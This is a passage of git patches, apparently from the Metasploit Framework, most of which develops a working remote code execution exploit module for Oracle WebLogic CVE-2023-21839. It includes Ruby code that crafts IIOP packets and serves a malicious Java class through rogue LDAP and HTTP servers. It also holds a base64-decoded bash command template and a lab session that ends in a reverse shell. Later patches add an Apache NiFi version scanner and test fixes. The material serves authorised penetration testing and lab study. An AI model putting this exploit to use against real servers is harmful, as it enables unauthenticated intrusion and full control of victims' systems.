#{cli.peerhost} using #{agent}") - pay = regenerate_payload(cli) - jar = inject_jar_payload_factory(pay.encoded_jar) - send_response(cli, 200, 'OK', jar) + file = File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class'), 'rb') + class_raw = file.read + file.close + base64_payload = Rex::Text.encode_base64(payload.encoded) + command_length = (44 - 'PAYLOAD'.length) + base64_payload.length + class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('S>')) + class_raw = class_raw.gsub('PAYLOAD', base64_payload) + send_response(cli, 200, 'OK', class_raw) end # @@ -368,38 +364,16 @@ def on_request_uri(cli, request) def send_response(cli, code, message = 'OK', html = '') proto = Rex::Proto::Http::DefaultProtocol res = Rex::Proto::Http::Response.new(code, message, proto) - res['Content-Type'] = 'application/java-archive' res.body = html cli.send_response(res) end - # - # Insert PayloadFactory in Java payload JAR - # - # @param jar [Rex::Zip::Jar] payload JAR to update - # @return [Rex::Zip::Jar] updated payload JAR - def inject_jar_payload_factory(jar = generate_payload.encoded_jar) - # From exploits/multi/browser/java_rhino - should probably go to lib - paths = [ - [ 'metasploit/PayloadFactory.class' ] - ] - paths.each do |path| - 1.upto(path.length - 1) do |idx| - full = path[0, idx].join('/') + '/' - jar.add_file(full, '') unless jar.entries.map(&:name).include?(full) - end - File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd| - data = fd.read(fd.stat.size) - jar.add_file(path.join('/'), data) - end - end - jar - end - # LDAP Server Overrides def build_ldap_search_response_payload # Always do a remote load - build_ldap_search_response_payload_remote(resource_url_string) + # Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server. + # You can add anchor tags using # to the URL but thats it. + build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name) end # Main Exploit @@ -553,6 +527,7 @@ def exploit message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + print_status('3. Sending rebindAny request!') socket.put(packet) rebind_any_buf = socket.get disconnect @@ -604,6 +579,7 @@ def exploit message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + print_status('4. Sending second rebindAny request!') socket.put(packet) rebind_any_buf_2 = socket.get disconnect @@ -646,6 +622,7 @@ def exploit message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + print_status('6. Sending resolve packet #1 with wls_key_1') socket = connect socket.put(packet) resolve_packet_wls_key_1 = socket.get @@ -679,13 +656,14 @@ def exploit start_service start_http_service('ServerPort' => (datastore['HttpListenerBindPort'].blank? ? datastore['HTTP_SRVPORT'] : datastore['HttpListenerBindPort']).to_i) + print_status('7. Sending resolve packet #2 with wls_key_2') socket = connect socket.put(packet) - resolve_packet_wls_key_1 = socket.get + step_7_response = socket.get disconnect print_good('Step 7 complete!') - reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0) + reply_status_code = step_7_response[16..19].unpack('L>')&.dig(0) if reply_status_code != USER_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!") end From 84961e6e09ff4092dc5f7503294268f49488b5c8 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 17 May 2023 18:02:30 -0500 Subject: [PATCH 193/415] Add in documentation --- .../multi/iiop/cve_2023_21839_weblogic_rce.md | 118 ++++++++++++++++++ .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 30 +++-- 2 files changed, 140 insertions(+), 8 deletions(-) create mode 100644 documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md diff --git a/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md new file mode 100644 index 0000000000000..d16b2ee897fcf --- /dev/null +++ b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md @@ -0,0 +1,118 @@ +## Vulnerable Application + +### Description +Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated +remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes +a `ForeignOpaqueReference` class object, deserializes it on the target, and then post deserialization, calls the +object's `getReferent()` method, which will make use of the `ForeignOpaqueReference` class's `remoteJNDIName` variable, +which is under the attackers control, to do a remote loading of the JNDI address specified by `remoteJNDIName` via +the `lookup()` function. + +This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting +a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to +create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java +code during the instantiation of the object, thereby getting remote code execution as the `oracle` user. + +This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will +then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java +class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file, +at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate +an instance of that class, granting us RCE as the `oracle` user. + +## Verification Steps + +1. Make sure you have Docker and Docker Compose installed. If not follow https://docs.docker.com/engine/install. +2. `git clone git@github.com:vulnhub/vulnhub.git` +3. `cd weblogic/CVE-2023-21839/cmd` +4. `docker-compose up -d` and wait for the build to finish, then a few seconds for startup. +5. Do: `use exploit/multi/iiop/cve_2023_21839_weblogic_rce` +6. Do `set SRVPORT *some high port*` for LDAP server port number since we can't listen on the default port `389` without being `root`. +7. Do `set HTTP_SRVPORT *port*` if you want to change the HTTP server port. +8. Do `set RHOSTS 127.0.0.1` to target the local Docker instance. +9. Do `set SRVHOST *LDAP server IP address*` for LDAP server host. NOTE: Have to provide a routeable IP address, 0.0.0.0 won't work. +10. Do `set LHOST *IP address of Metasploit machine*` +11. Do: `exploit` +12. Verify that you get a shell on the target system as the `oracle` user. + + +## Options + +### HTTP_SRVPORT +The port where the HTTP server will listen. + +### SRVPORT +The port where the LDAP server will listen. + +### SRVHOST +The IP address where where the LDAP server will be listening. + +## Scenarios + +### Oracle Weblogic 12.2.1.3 with Java 1.8.0_151-b12 - Docker Image +``` +msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > show options + +Module options (exploit/multi/iiop/cve_2023_21839_weblogic_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + HTTP_SRVPORT 8089 yes The HTTP server port + LDIF_FILE no Directory LDIF file path + RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 7001 yes The target port (TCP) + SRVHOST 192.168.204.149 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 4939 yes The local port to listen on. + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.204.149 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > check +[+] 127.0.0.1:7001 - The target is vulnerable. Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable! +msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > exploit + +[*] Started reverse TCP handler on 192.168.204.149:4444 +[*] 127.0.0.1:7001 - Running automatic check ("set AutoCheck false" to disable) +[+] 127.0.0.1:7001 - The target is vulnerable. Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable! +[*] 127.0.0.1:7001 - 1. Making T3 connection... +[+] 127.0.0.1:7001 - Made T3 connection! +[*] 127.0.0.1:7001 - 2. Sending first GIOP LocateRequest packet +[+] 127.0.0.1:7001 - Step 2 complete! +[*] 127.0.0.1:7001 - 3. Sending rebindAny request! +[+] 127.0.0.1:7001 - Step 3 complete! +[*] 127.0.0.1:7001 - 4. Sending second rebindAny request! +[+] 127.0.0.1:7001 - Step 4 complete! +[*] 127.0.0.1:7001 - 5. Sending second GIOP LocateRequest packet +[+] 127.0.0.1:7001 - Step 5 complete! +[*] 127.0.0.1:7001 - 6. Sending resolve packet #1 with wls_key_1 +[+] 127.0.0.1:7001 - Step 6 complete! +[*] 127.0.0.1:7001 - Serving Java code on: http://192.168.204.149:8089/PayloadRuns.class +[*] 127.0.0.1:7001 - 7. Sending resolve packet #2 with wls_key_2 +[+] 127.0.0.1:7001 - Step 7 complete! +[*] 127.0.0.1:7001 - Sleeping for 8 seconds to allow LDAP and HTTP traffic to go through. +[*] Command shell session 1 opened (192.168.204.149:4444 -> 172.18.0.2:46440) at 2023-05-17 16:48:56 -0500 + +id +uid=1000(oracle) gid=1000(oracle) groups=1000(oracle) +whoami +oracle +uname -a +Linux 8e6d76ecdb0d 5.19.0-41-generic #42~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 18 17:40:00 UTC 2 x86_64 x86_64 x86_64 GNU/Linux +pwd +/u01/oracle/user_projects/domains/base_domain +``` diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index a665d244aba69..e71f3cbfdad9c 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -55,13 +55,30 @@ def initialize(info = {}) 'Grant Willcox' # @tekwizz123 This Metasploit module ], 'Description' => %q{ - TO WRITE + Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated + remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes + a "ForeignOpaqueReference" class object, deserializes it on the target, and then post deserialization, calls the + object's "getReferent()" method, which will make use of the "ForeignOpaqueReference" class's "remoteJNDIName" variable, + which is under the attackers control, to do a remote loading of the JNDI address specified by "remoteJNDIName" via + the "lookup()" function. + + This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting + a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to + create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java + code during the instantiation of the object, thereby getting remote code execution as the "oracle" user. + + This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will + then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java + class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file, + at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate + an instance of that class, granting us RCE as the "oracle" user. }, 'References' => [ ['CVE', '2023-21839'], - ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], - ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Research%20on%20WebLogic%20After-Deserialization.md'], - ['URL', 'https://github.com/4ra1n/CVE-2023-21839'] + ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory + ['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup + ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP + ['URL', 'https://github.com/4ra1n/CVE-2023-21839'] # PoC ], 'Privileged' => false, 'Targets' => [ @@ -91,9 +108,6 @@ def initialize(info = {}) OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) ] ) - register_advanced_options([ - OptPort.new('HttpListenerBindPort', [false, 'The port to bind to if different from HTTP_SRVPORT']) - ]) end def get_weblogic_version @@ -654,7 +668,7 @@ def exploit packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) start_service - start_http_service('ServerPort' => (datastore['HttpListenerBindPort'].blank? ? datastore['HTTP_SRVPORT'] : datastore['HttpListenerBindPort']).to_i) + start_http_service('ServerPort' => datastore['HTTP_SRVPORT'].to_i) print_status('7. Sending resolve packet #2 with wls_key_2') socket = connect From e78cf054b88b6c4c89e2f062a4b92bd0b9f5d8ba Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 17 May 2023 18:05:40 -0500 Subject: [PATCH 194/415] Add in EITW notes --- .../exploit/multi/iiop/cve_2023_21839_weblogic_rce.md | 2 ++ modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb | 5 ++++- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md index d16b2ee897fcf..824a18e9d9ec7 100644 --- a/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md +++ b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md @@ -19,6 +19,8 @@ class file will be hosted. Oracle Weblogic will then make a HTTP request to retr at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate an instance of that class, granting us RCE as the `oracle` user. +This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability + ## Verification Steps 1. Make sure you have Docker and Docker Compose installed. If not follow https://docs.docker.com/engine/install. diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index e71f3cbfdad9c..be8b83cd55769 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -72,13 +72,16 @@ def initialize(info = {}) class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file, at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate an instance of that class, granting us RCE as the "oracle" user. + + This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability }, 'References' => [ ['CVE', '2023-21839'], ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory ['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP - ['URL', 'https://github.com/4ra1n/CVE-2023-21839'] # PoC + ['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC + ['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert. ], 'Privileged' => false, 'Targets' => [ From e80987ea59278b3f5aa1fe1f7f1aa53af0043bab Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 24 May 2023 13:09:19 -0500 Subject: [PATCH 195/415] First round of updates from review --- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 35 +++++++++++-------- 1 file changed, 20 insertions(+), 15 deletions(-) diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index be8b83cd55769..b6b718c3be76d 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -87,8 +87,7 @@ class file will be hosted. Oracle Weblogic will then make a HTTP request to retr 'Targets' => [ [ 'Linux', { - 'Platform' => 'unix', - 'RemoteLoad' => false, + 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' @@ -115,7 +114,14 @@ class file will be hosted. Oracle Weblogic will then make a HTTP request to retr def get_weblogic_version socket = connect - socket.put("GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{datastore['RHOST']}:#{datastore['RPORT']}\n\n") + http_request = Rex::Proto::Http::ClientRequest.new( + { + 'uri' => '/console/login/LoginForm.jsp', + 'vhost' => datastore['RHOST'], + 'port' => datastore['RPORT'] + } + ).to_s + socket.put(http_request.to_s) res = socket.get fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res @@ -204,7 +210,8 @@ def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, service_context_list << '{SERVICE_CONTEXT_LIST}' @java_class_name = 'PayloadRuns' - stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@java_class_name}" # Not sure why the backtick is here but hey. + ldap_uri = jndi_string(@java_class_name) + stub_data += [ldap_uri.length].pack('C') + ldap_uri data << service_context_list data << stub_data @@ -345,6 +352,9 @@ def start_http_service(opts = {}) # Kill HTTP service (shut it down and clear resources) # def cleanup + # Stop the LDAP server + cleanup_service + # Clean and stop HTTP server if @http_service begin @@ -416,7 +426,7 @@ def exploit disconnect print_good('Step 2 complete!') - reply_status = locate_buf[16..19].unpack('L>')&.dig(0) + reply_status = locate_buf[16..19].unpack('N')&.dig(0) if reply_status != OBJECT_FORWARD fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!') end @@ -550,7 +560,7 @@ def exploit disconnect print_good('Step 3 complete!') - reply_status_code = rebind_any_buf[16..19].unpack('L>')&.dig(0) + reply_status_code = rebind_any_buf[16..19].unpack('N')&.dig(0) if reply_status_code != LOCATION_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") end @@ -602,7 +612,7 @@ def exploit disconnect print_good('Step 4 complete!') - reply_status_code = rebind_any_buf_2[16..19].unpack('L>')&.dig(0) + reply_status_code = rebind_any_buf_2[16..19].unpack('N')&.dig(0) if reply_status_code != NO_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!") end @@ -615,7 +625,7 @@ def exploit disconnect print_good('Step 5 complete!') - reply_status_code = locate_buf_two[16..19].unpack('L>')&.dig(0) + reply_status_code = locate_buf_two[16..19].unpack('N')&.dig(0) if reply_status_code != OBJECT_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!") end @@ -646,7 +656,7 @@ def exploit disconnect print_good('Step 6 complete!') - reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0) + reply_status_code = resolve_packet_wls_key_1[16..19].unpack('N')&.dig(0) if reply_status_code != LOCATION_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") end @@ -680,14 +690,9 @@ def exploit disconnect print_good('Step 7 complete!') - reply_status_code = step_7_response[16..19].unpack('L>')&.dig(0) + reply_status_code = step_7_response[16..19].unpack('N')&.dig(0) if reply_status_code != USER_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!") end - - print_status('Sleeping for 8 seconds to allow LDAP and HTTP traffic to go through.') - sleep(8) - cleanup_service - cleanup end end From 7ca7c6aee11a999519a3aca6c0a76c6d72e482b3 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 24 May 2023 17:36:39 -0500 Subject: [PATCH 196/415] Slight efficiency improvements --- data/exploits/CVE-2023-21839/PayloadRuns.class | Bin 660 -> 660 bytes data/exploits/CVE-2023-21839/PayloadRuns.java | 4 +++- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 9 ++++----- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.class b/data/exploits/CVE-2023-21839/PayloadRuns.class index a00e746fdda254678f5c7f7a204606c5687b2130..d6ee272398d63b15a5e1046748564976f2d70956 100644 GIT binary patch delta 35 pcmbQjI)!xu2NNUnWKO0)K{f_XAmm|SXW(VvU=U>Bnw-s~2>@Vg1a$xa delta 35 qcmbQjI)!xu2NNUXWKO0)K^6v126hG>237`M1~vvk29C+uOqu{+vjk}X diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.java b/data/exploits/CVE-2023-21839/PayloadRuns.java index 981d14e047937..03e1bb6d95428 100644 --- a/data/exploits/CVE-2023-21839/PayloadRuns.java +++ b/data/exploits/CVE-2023-21839/PayloadRuns.java @@ -1,3 +1,5 @@ +import java.util.Base64; + public class PayloadRuns { static { try { @@ -6,4 +8,4 @@ public class PayloadRuns { ex.printStackTrace(); } } -} +} \ No newline at end of file diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index b6b718c3be76d..5b93099b9233d 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -375,12 +375,11 @@ def cleanup def on_request_uri(cli, request) agent = request.headers['User-Agent'] vprint_good("Payload requested by #{cli.peerhost} using #{agent}") - file = File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class'), 'rb') - class_raw = file.read - file.close + class_raw = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class')) base64_payload = Rex::Text.encode_base64(payload.encoded) - command_length = (44 - 'PAYLOAD'.length) + base64_payload.length - class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('S>')) + exec_command_length = 'bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}'.length + command_length = (exec_command_length - 'PAYLOAD'.length) + base64_payload.length + class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('n')) class_raw = class_raw.gsub('PAYLOAD', base64_payload) send_response(cli, 200, 'OK', class_raw) end From 7c2790513dabb5575680f905a8914689eacf97e4 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 24 May 2023 20:05:34 -0400 Subject: [PATCH 197/415] apache nifi version scanner --- .../scanner/http/apache_nifi_version.md | 76 +++++++++++++++++++ .../scanner/http/apache_nifi_version.rb | 62 +++++++++++++++ 2 files changed, 138 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/apache_nifi_version.md create mode 100644 modules/auxiliary/scanner/http/apache_nifi_version.rb diff --git a/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md b/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md new file mode 100644 index 0000000000000..60e18e8522395 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md @@ -0,0 +1,76 @@ +## Vulnerable Application + +This module identifies Apache NiFi websites and reports their version number. + +Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.11.0-1.13.0. + +Also works against NiFi <= 1.13.0, but the module needs to be adjusted: + - set SSL false + - set rport 8080 + +### Docker Install + +Apache manages Docker installs for nifi with version numbers, simply select the version number you wish to install. Examples: + +``` +docker run -p 8443:8443 -d apache/nifi:1.21.0 +docker run -p 8443:8443 -d apache/nifi:1.20.0 +docker run -p 8443:8443 -d apache/nifi:1.19.0 +docker run -p 8443:8443 -d apache/nifi:1.18.0 +docker run -p 8443:8443 -d apache/nifi:1.17.0 +docker run -p 8443:8443 -d apache/nifi:1.16.0 +docker run -p 8443:8443 -d apache/nifi:1.15.0 +docker run -p 8443:8443 -d apache/nifi:1.14.0 +docker run -p 8080:8080 -d apache/nifi:1.13.0 +docker run -p 8080:8080 -d apache/nifi:1.13.0 +docker run -p 8080:8080 -d apache/nifi:1.12.0 +docker run -p 8080:8080 -d apache/nifi:1.11.0 +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/apache_nifi_version` +1. Do: `set rhosts [ip]` +1. Do: `run` +1. You should get back the version number of the nifi instance + +## Options + +## Scenarios + +### Docker image 1.21.0 and 1.11.0 + +``` +└─$ docker run -p 8443:8443 -d apache/nifi:1.21.0 +1df39f1d1dc0a4abde9e2daedf8b3dc66d37fb53126e491b7050da618e971dfd +└─$ ./msfconsole -q +msf6 > use auxiliary/scanner/http/apache_nifi_version +msf6 auxiliary(scanner/http/apache_nifi_version) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/http/apache_nifi_version) > run + +[+] Apache NiFi 1.21.0 found on 127.0.0.1 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +``` +└─$ docker run -p 8080:8080 -d apache/nifi:1.11.0 +089f1b164853df8b088a3e80d25d7f886b1934a654ed7807433e3eef46a5973f +└─$ ./msfconsole -q +msf6 > use auxiliary/scanner/http/apache_nifi_version +msf6 auxiliary(scanner/http/apache_nifi_version) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/http/apache_nifi_version) > set ssl false +[!] Changing the SSL option's value may require changing RPORT! +ssl => false +msf6 auxiliary(scanner/http/apache_nifi_version) > set rport 8080 +rport => 8080 +msf6 auxiliary(scanner/http/apache_nifi_version) > run + +[+] Apache NiFi 1.11.0 found on 127.0.0.1 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/apache_nifi_version.rb b/modules/auxiliary/scanner/http/apache_nifi_version.rb new file mode 100644 index 0000000000000..a60a9785989e8 --- /dev/null +++ b/modules/auxiliary/scanner/http/apache_nifi_version.rb @@ -0,0 +1,62 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache NiFi Version Scanner', + 'Description' => %q{ + This module identifies Apache NiFi websites and reports their version number. + + Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.11.0-1.13.0 + Also works against NiFi <= 1.13.0, but the module needs to be adjusted: + set SSL false + set rport 8080 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options( + [ + Opt::RPORT(8443), + OptString.new('TARGETURI', [ true, 'The URI of the Apache NiFi Application', '/nifi/login']) + ] + ) + register_advanced_options([ + OptBool.new('SSL', [true, 'Negotiate SSL connection', true]) + ]) + end + + def run_host(ip) + vprint_status("Checking #{ip}") + res = send_request_cgi!( + 'uri' => normalize_uri(target_uri.path) + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + + if res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">} + print_good("Apache NiFi #{Regexp.last_match(1)} found on #{ip}") + else + print_bad("Apache NiFi not detected on #{ip}") + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end +end From 9f0032582a7f12b25e2be731e43256a3d90f66b7 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Thu, 25 May 2023 02:44:03 +0100 Subject: [PATCH 198/415] Fix non-deterministic test module load failures --- test/modules/post/test/extapi.rb | 2 +- test/modules/post/test/file.rb | 2 +- test/modules/post/test/get_env.rb | 1 + test/modules/post/test/meterpreter.rb | 2 +- test/modules/post/test/railgun.rb | 1 + test/modules/post/test/railgun_reverse_lookups.rb | 2 +- test/modules/post/test/registry.rb | 2 +- test/modules/post/test/search.rb | 2 +- test/modules/post/test/services.rb | 2 +- test/modules/post/test/unix.rb | 2 +- 10 files changed, 10 insertions(+), 8 deletions(-) diff --git a/test/modules/post/test/extapi.rb b/test/modules/post/test/extapi.rb index 460ebd0cee0c2..7befef97693af 100644 --- a/test/modules/post/test/extapi.rb +++ b/test/modules/post/test/extapi.rb @@ -1,7 +1,7 @@ require 'rex' lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index 49ab0a086447a..4e34f9fb912b7 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -1,4 +1,4 @@ -lib = File.join(Msf::Config.install_root, 'test', 'lib') +lib = File.join(Msf::Config.install_root, "test", "lib") $LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' diff --git a/test/modules/post/test/get_env.rb b/test/modules/post/test/get_env.rb index cfda90913afd0..8d903e188337e 100644 --- a/test/modules/post/test/get_env.rb +++ b/test/modules/post/test/get_env.rb @@ -1,4 +1,5 @@ lib = File.join(Msf::Config.install_root, "test", "lib") +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' # load 'test/lib/module_test.rb' diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index b8e0bf442a8c6..de2e8140bfa58 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -2,7 +2,7 @@ require 'rex' lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post diff --git a/test/modules/post/test/railgun.rb b/test/modules/post/test/railgun.rb index bb41adaff9c00..e808c00027015 100644 --- a/test/modules/post/test/railgun.rb +++ b/test/modules/post/test/railgun.rb @@ -1,4 +1,5 @@ lib = File.join(Msf::Config.install_root, "test", "lib") 